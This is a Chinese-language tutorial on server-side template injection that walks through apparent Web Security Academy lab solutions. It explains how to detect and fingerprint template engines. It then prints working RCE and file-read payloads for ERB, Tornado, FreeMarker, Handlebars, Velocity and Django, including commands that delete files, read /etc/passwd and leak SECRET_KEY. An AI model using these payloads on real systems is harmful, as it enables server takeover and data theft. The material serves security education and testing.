服务器模板注入(Server-side template injection)是当攻击者能够用本地的模板语法去注入一个恶意的payload,然后再服务器端执行该模板的攻击手法。
模板引擎是通过将固定模板与多变数据结合起来生成html网页的一种技术,当用户直接输入数据到模板不作任何过滤的时,可能会发生服务端模板注入攻击。这使得攻击者可以注入任何模板指令来操控服务器模板引擎,从而使整个服务器被控制。
顾名思义,服务器模板注入和SQL注入大同小异,但SSTI是发生在服务器端的,更加危险。
服务器模板注入的危害性往往取决于所使用的模板引擎以及应用程序的使用方式,很少有情况不会带来真正的安全风险,但绝大多数情况下都是致命性的影响。最严重的的情况是攻击者可以进行RCE(远程代码执行),完全控制服务器端,并进行内网攻击;即使在无法完全进行RCE的情况下,攻击者也能将SSTI和其他漏洞进行“组合拳”攻击,比如可能读取服务器上的敏感文件等。
简单来说,页面上的数据需要不断更新,即为渲染。后台语言通过一些模板引擎生成HTML的过程。(常见的模板渲染引擎Jade, YAML )
因为Web Application 最终是要落实到HTML、CSS、JavaScript等用户界面上的,有一种情况是,每一个页面都需要特殊的逻辑,随着应用功能的增加,而且彼此之间没有同步,比如你改了站点的布局风格,那么随之就要修改成百上千的HTML文件。谁能忍?
既然如此多的HTML具有一定的逻辑联系,何不使用代码生成代码?于是后端模板语言诞生了。分别有前端渲染和后端(服务器)渲染,区别是:
后端渲染是将一些模板规范语言翻译成如上三种语言回传给前端;而前端渲染则是将整个生成逻辑代码全部回传前端,再由客户端生成用户界面。
所以服务器模板提供了一种更加简单的方法来管理动态生成HTML,一个demo演示
前端:
{{title}}
Used {{mikrotime(true) - time}}
后端:
$template Engine=new TempLate Engine() ;
$template=$template Engine-load File('login.tpl') ;
$template->assign('title', 'login') ;
$template->assign('method', 'post') ;
$template->assign('action', 'login.php') ;
$template->assign('username', get Username From Cookie() ) ;
$template->assign('time', microtime(true) ) ;
$template->show() ;
首先加载login.tpl模板文件,然后对与模板中名称相同的变量赋值(大括号里的变量),然后调用show()函数,相应的替换它们的内容并输出HTML代码。
当用户直接输入数据到模板不作任何过滤的时,可能会发生服务端模板注入攻击。
仅仅提供了占位符,并在其中呈现动态内容的静态模板通常不会受到SSTI攻击。经典的示例是一封电子邮件,其中用每个用户的名字向他们致意,例如以下Twig模板:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
此时无法进行SSTI攻击,因为用户的名字仅仅是作为数据传入模板中。
然而,由于模板只是字符串,web开发者有时会在生成HTML之前,直接将用户的输入呈现到模板中。简单的以上述demo为例,此处用户能够在发送邮件之前自定义部分邮件。例如,他们也许能够选择使用的名称:
$output = $twig->render("Dear " . $_GET['name']);
在此示例中,不是使用静态值传递到模板中,而是使用GET参数名称动态生成模板本身的一部分。 在服务器端对模板语法进行动态生成时,这可能使攻击者可以将服务器端模板注入有效负载放置在name参数内,如下所示:
http://vulnerable-website.com/?name={{payload}}
诸如此类的漏洞有时是由不熟悉安全隐患的人由于不良模板设计导致的意外所致。 就像上面的示例一样,可能会看到不同的组件,其中一些包含用户输入,这些用户输入已直接输出到并嵌入到模板中。 在某些方面,这类似于编写不当的预编译语句中发生的SQL注入漏洞。
但是,有时这种行为实际上是有意实施的。 例如,某些网站故意允许某些特权用户(例如内容编辑器)通过设计来编辑或提交自定义模板。 如果攻击者能够利用这种特权来破坏帐户,则显然会带来巨大的安全风险。
寻找SSTI漏洞需要代码审计或者直接黑盒引发报错,最简单的方法是通过注入模板表达式中常用的特殊字符来Fuzz,例如:$ {{<%[%'“}}%\。如果引发了报错,则表明服务器模板可能存在漏洞。SSTI漏洞通常发生在两个不同的上下文中,所以要根据特定的上下文来进行Fuzz。
大多数模板语言都允许直接使用HTML标记或使用模板的语法自由输入内容,这些模板将在发送HTTP响应之前在后端呈现为HTML。例如,在Freemarker中,render('Hello'+ username)行将呈现为Hello Carlos之类的东西。
有时可以将其用于XSS,实际上经常被误认为是简单的XSS漏洞。但是,通过上述的方法注入模板表达式的特殊字符,我们可以测试这是否也是服务器端模板注入攻击的潜在入口点。
例如,如下就是一个有漏洞的模板:
render('Hello' + username);
攻击者可以通过请求URL来验证SSTI攻击:
http://vulnerable-website.com/?username=${7*7}
如果结果输出包含Hello 49,则表明该数学运算表达式正在服务器端进行渲染生成。这是服务器端模板注入漏洞的典型证明。
另外,漏洞可能将用户的输入放置在模板表达式中来暴露的,例如:
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
对应的URL:
http://vulnerable-website.com/?greeting=data.username
这将输出 Hello Carlos
在验证漏洞的时候很容易错过此上下文,因为它不会导致明显的XSS,并且与简单的哈希映射查找几乎没有区别。在这种情况下,测试服务器端模板注入的一种方法是:通过将任意HTML注入到值中。
首先确定该参数不包含直接XSS漏洞:
http://vulnerable-website.com/?greeting=data.username
在没有XSS的情况下,这通常会导致输出中出现空白页面(只是Hello,没有用户名),编码标签或错误消息。下一步是尝试使用通用模板语法闭合出该语句,并尝试在其后注入任意HTML:
http://vulnerable-website.com/?greeting=data.username}}
如果输出和任意HTML一起正确呈现出 Hello Carlos
一旦发现SSTI漏洞,下一步就是要确定模板引擎。
尽管有大量的模板语言,但是其中许多模板使用非常相似的语法,而这些语法是专门为不与HTML字符冲突而选择的。因此创建探测有效载荷以测试正在使用哪个模板引擎可能相对简单。
通常只需提交非法可报错的语法就足够了,因为产生的错误消息将准确告诉您模板引擎是什么,有时甚至是哪个版本。例如,非法表达式<%= foobar%>会触发来自基于Ruby的ERB引擎的以下响应:
(erb):1:in `': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `'
否则,就需要手动测试特定于语言的不同有效负载,并研究模板引擎如何编译它们。常用的方法是使用来自不同模板引擎的语法注入任意数学运算。然后,您可以观察它们是否被成功执行。为了更好的验证,可以使用类似于以下内容的决策树:
相同的payload有时可能会通用在一种以上的模板语言中。
例如,有效载荷{{7 *'7'}}在Twig中返回49;在Jinja2中返回7777777。因此,决定的因数是多方面的。
通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
点击第一个商品发现有商品售空的提示:
可直接XSS:
不止步于xss,深倔看有没有SSTI,注入一些特殊的模板表达式字符引发报错:
从报错信息可知是ERB模板,进一步验证:
利用system函数进行RCE,查找目标文件:
删除:
登录账户之后,可以修改评论处的名字类型:
可选择的类型分别有: 全名,简称,小名。
对应的分别是:user.name,user.first_name,user.nickname
例如修改为小名之后,刷新评论,自己评论的署名就是自己的小名:
尝试引发报错,随便输入一个错误的参数:
从报错信息可知,是tornado模板。其语法为:
- 用
{{ expression }}
中间是任何 python 表达式,或者是一个变量。- 用 {% %} 放入模板中的命令,比如 if 、for 和 while 等,需要注意的是,使用 if 等命令是,需要加上 {% end %}。除此之外,里面的内容就很像 python
于是猜测user.name的语句可能是 {{ user.name }},所以需要绕出闭合进行简单的验证payload:
blog-post-author-display=user.name}} {{ 7*7 }}
说明漏洞存在,直接利用os模块的system函数进行RCE:
blog-post-author-display=user.name}} {% import os %} {{ os.system("id")
删除目标:
blog-post-author-display=user.name}} {% import os %} {{ os.system("rm /home/carlos/morale.txt")
有些模板可自定义HTML模板内容,需要我们手工确定模板引擎并使用文档确定如何执行任意代码。
可以引导报错,从而查看可以模板引擎,由此可确定所使用的模板表达式:
确定是FreeeMarker模板,表达式为:${ expression }
验证:
如何利用其进行RCE呢?
查看 Freemarker文档 的FAQ可发现,new() 方法可以用来创建任意实现该模板接口的Java对象:
查看new()内建函数的用法:
接着查看实现的Java类接口,可以看到Execute类中可以执行命令:
exp:
<#assign exec="freemarker.template.utility.Execute"?new()> ${ exec("pwd") }
点击商品,提示售空:
很显然可以进行XSS:
继续探测SSTI,尝试注入表达式的特殊字符 ${{<%[%'"}}%\, 引发语法报错:
可知是Handlebars模板,去搜相关的SSTI漏洞:
https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
exp:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
将exp进行URL加密,请求即可RCE:
https://ac351fa71f6a5012805a003e00db000e.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stockwrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
如果无法从某已知的模板上寻找到公开的SSTI漏洞,则可以考虑查看模板引擎当前支持/可用的对象,利用其范围内的对象名单进行利用。例如,在基于Java的模板中,可以使用以下注入方式列出环境的所有变量:
${T(java.lang.System).getenv()}
有时候,Web开发人员会自定义一些模板对象,这些存在于上下文中的对象可能存在利用方法,可能会导致目录遍历,访问敏感文件甚至SSTI攻击。下面实验SSTI访问敏感文件。
打开网站,发现网站可以自定义模板格式:
老规矩,用 ${{<%[%'"}}%\ 特殊字符Fuzz报错:
发现是Django模板,学习一下Django模板的文档,可以利用 {% debug %} 显示调试信息,其中包含了环境所包含的环境变量和对象:
其中包含了Settings对象,这个对象中包含一个SECRET_KEY属性,可通过 {{ settings.SECRET_KEY }} 访问:
有的时候,模板引擎在沙盒中执行,就需要进行一定的绕过措施,代码审计每一个函数的可利用点,然后组合出复杂的攻击。
第一步,识别出能使用的对象和方法,结合对应的文档来弄清楚每个对象和方法的意义;
第二步,研究哪一些对象和方法可以组合使用,有时候“组合拳”能获得不用的收获。
例如,在基于Java的模板引擎Velocity中,你能通过 $class 使用ClassTool对象,通过研究对应的文档会发现,可以组合 $class.inspect()方法 和 $class.type属性去获取任意对象,那么因此就可以获取到Runtime类进行exec命令执行了:
$class.inspect("java.lang.Runtime").type.getRuntime().exec("cmd")
在服务器模板处Fuzz,发现没有报错之类的回显,可以判断模板执行环境是在沙盒中:
观察模板中使用了 ${ product.name } 来获取商品的名字,那么可以使用Java中的getClass()方法来Fuzz一下:
object.getClass()是安全的方法,所以可以执行成功。从而得知模板引擎是 FreeMarker。
研究模板的Java文档,利用沙箱的整体性缺陷,组合出一系列的可利用方法可以读取任意文件:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
返回结果是一串ASCII码:
57 116 106 57 57 49 103 55 119 106 55 97 101 120 114 111 110 108 116 100
写个脚本解之:
ascii = '57 116 106 57 57 49 103 55 119 106 55 97 101 120 114 111 110 108 116 100'
for val in ascii.split(' '):
print(chr(int(val)), end='')
有时候模板引擎处于安全的沙箱环境中,但是有时候可以利用开发人员创建的自定义对象进行攻击。
网站可以自定义评论处的名字:
尝试引发报错,发现该处是安全的....
发现有一处可以上传评论者的头像,随意上传一个dirty数据的文本,发现报错:
可以看到位置是User.setAvatar()方法,路径是/home/carlos/User.php
上传一个正确的图片,然后刷新评论,可以看到通过 /avatar?avatar=wiener 加载了头像:
回到最开始自定义评论名字的地方,将 blog-post-author-display 的值改为:
user.setAvatar('/etc/passwd', 'text/plain')
并且刷新评论处,发现报错:
报错的意思是,服务端校验了文件的MIME类型,需要是一个image类型,这里重新修改为:
blog-post-author-display=user.setAvatar('/etc/passwd', 'image/png')
然后再刷新即可成功加载:
这时候就已经通过模板注入成功利用评论名调用user.setAvatar()方法来设置评论的头像了,只不过这里的user.setAvatar()方法是读取敏感文件 /etc/passwd
到这已经设置好了头像是读取敏感文件,只要读取这个头像即可加载出敏感文件的内容,怎么加载头像呢?
如上所述,可以通过 /avatar?avatar=wiener 加载头像:
并且在头像中返回了敏感文件内容。
利用该思路,可以读取 /home/carlos/User.php 文件:
发现可以使用gdprDelete()来删除通过user.setAvatar()设定好的任意文件:
先设定好要删除的文件:
再调用user.gdprDelete()来删除:
但是,由于业务需求,有时这是不可避免的。
避免引入服务器端模板注入漏洞的最简单方法之一是,除非绝对必要,否则始终使用“无逻辑”模板引擎,例如Mustache。
另一措施是
但是对不受信任的代码进行沙箱处理固有地困难,并且容易被绕过。
最后一种方法是: